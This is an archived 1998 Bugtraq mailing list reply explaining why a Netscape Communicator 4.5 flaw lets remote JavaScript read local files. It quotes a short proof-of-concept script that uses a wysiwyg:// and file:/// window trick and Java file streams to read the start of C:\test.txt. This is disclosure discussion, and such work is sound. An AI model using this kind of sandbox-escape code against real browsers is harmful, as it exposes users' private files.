Bugtraq mailing list archives
Re: Netscape Communicator 4.5 can read local files
From: Ryan.Russell () SYBASE COM (Ryan Russell)
Date: Tue, 24 Nov 1998 20:23:25 -0800
It's vastly different. Did you try creating c:\test.txt and putting something in it, and going to that page? Notice that it pops the first line in a dialog box. That means it has that info under programmatic contol, and can send it across the network back to the web server, exactly as claimed in the original advisory. Contrast that with (you) opening your c: drive with Communicator. You can browse local files, but only you get to see the contents, and that window isn't under any kind of programmatic control from other windows... at least that's how it's supposed to work. It's similar to the Java sandbox concept. Local and signed content are "trusted" and can do whatever they like, whereas remotely loaded content are "untrusted" and aren't supposed to be able to perform certain operations. When you (well, Netscape and Microsoft) try to mix the two, invariably mistakes will be made, and leaks will happen between the two. Ryan Hi - this appears to be no different then typing c:\ in the location of any browser hardly a security hole in my opinion the test site did not prove that this is a potential or current problem. Bill
Demonstration is available at: http://www.geocities.com/ResearchTriangle/1711/b6.html The Javascript code is: sl=window.open("wysiwyg://1/file:///C|/"); sl2=sl.window.open(); sl2.location="javascript:s='<SCRIPT>b=\"Here is the beginning of your file: \";var f = new java.io.File(\"C:\\\\\\\\test.txt\");var fis = new java.io.FileInputStream(f); i=0; while ( ((a=fis.read()) != -1) && (i<100) ) { b += String.fromCharCode(a);i++;}alert(b);</'+'SCRIPT>'";
Current thread:
- Netscape Communicator 4.5 can read local files Georgi Guninski (Nov 23)
- Re: Netscape Communicator 4.5 can read local files Trev (Nov 23)
- Re: Netscape Communicator 4.5 can read local files Norbert Luckhardt (Nov 26)
- <Possible follow-ups>
- Re: Netscape Communicator 4.5 can read local files GNSS Research Division (Nov 23)
- Re: Netscape Communicator 4.5 can read local files Bill Lavalette (Nov 23)
- Re: Netscape Communicator 4.5 can read local files Andrew McNaughton (Nov 24)
- Re: Netscape Communicator 4.5 can read local files The Spirit of the Black Panther (Nov 23)
- Re: Netscape Communicator 4.5 can read local files Ryan Russell (Nov 24)
- Re: Netscape Communicator 4.5 can read local files Ben Collins (Nov 25)
- APC PowerNet SNMP Adapter Security Issues - Beta Firmware Paul Mansfield (Nov 25)
- Re: Netscape Communicator 4.5 can read local files Pavel Kankovsky (Nov 25)
- Re: Netscape Communicator 4.5 can read local files Terence Christopher Haddock (Nov 25)
- Re: Netscape Communicator 4.5 can read local files Ben Collins (Nov 25)
- Re: Netscape Communicator 4.5 can read local files Terence Christopher Haddock (Nov 25)
- XFree86 3.3.3 Released Aleph One (Nov 25)
- Re: Netscape Communicator 4.5 can read local files Trev (Nov 25)
- Re: Netscape Communicator 4.5 can read local files Ben Collins (Nov 25)
- Re: Netscape Communicator 4.5 can read local files kpm (Nov 25)
- Re: Netscape Communicator 4.5 can read local files Sven Carstens (Nov 25)